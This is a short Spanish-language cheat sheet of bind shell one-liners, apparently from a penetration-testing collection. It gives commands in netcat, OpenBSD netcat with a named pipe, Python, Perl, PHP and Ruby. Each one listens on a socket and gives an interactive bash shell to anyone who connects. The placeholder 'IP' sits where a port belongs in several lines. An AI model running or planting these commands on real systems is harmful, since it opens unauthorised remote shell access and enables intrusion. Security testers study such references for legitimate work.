\   /\          __    _____        _____     _____ _ _____
)  ( ')        |  |  |  _  |   ___|  _  |___|  |  |_|_   _|___
(  /  )        |  |__|     |  |  _|     |_ -|     | | | | | .'| 
 \(__)|        |_____|__|__|  |___|__|__|___|__|__|_| |_| |__,|

 
 Aqui teneis una cheatsheet de Bind Shells.

Netcat
------

nc -lvp IP -e /bin/bash
Netcat OpenBSD --------------
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp IP >/tmp/f
Python ------
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(('',IP));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"
Perl ----
perl -e 'use Socket;$p=IP;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
PHP ---
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",IP);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'
Ruby ----
ruby -rsocket -e 'f=TCPServer.new(IP);s=f.accept;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",s,s,s)'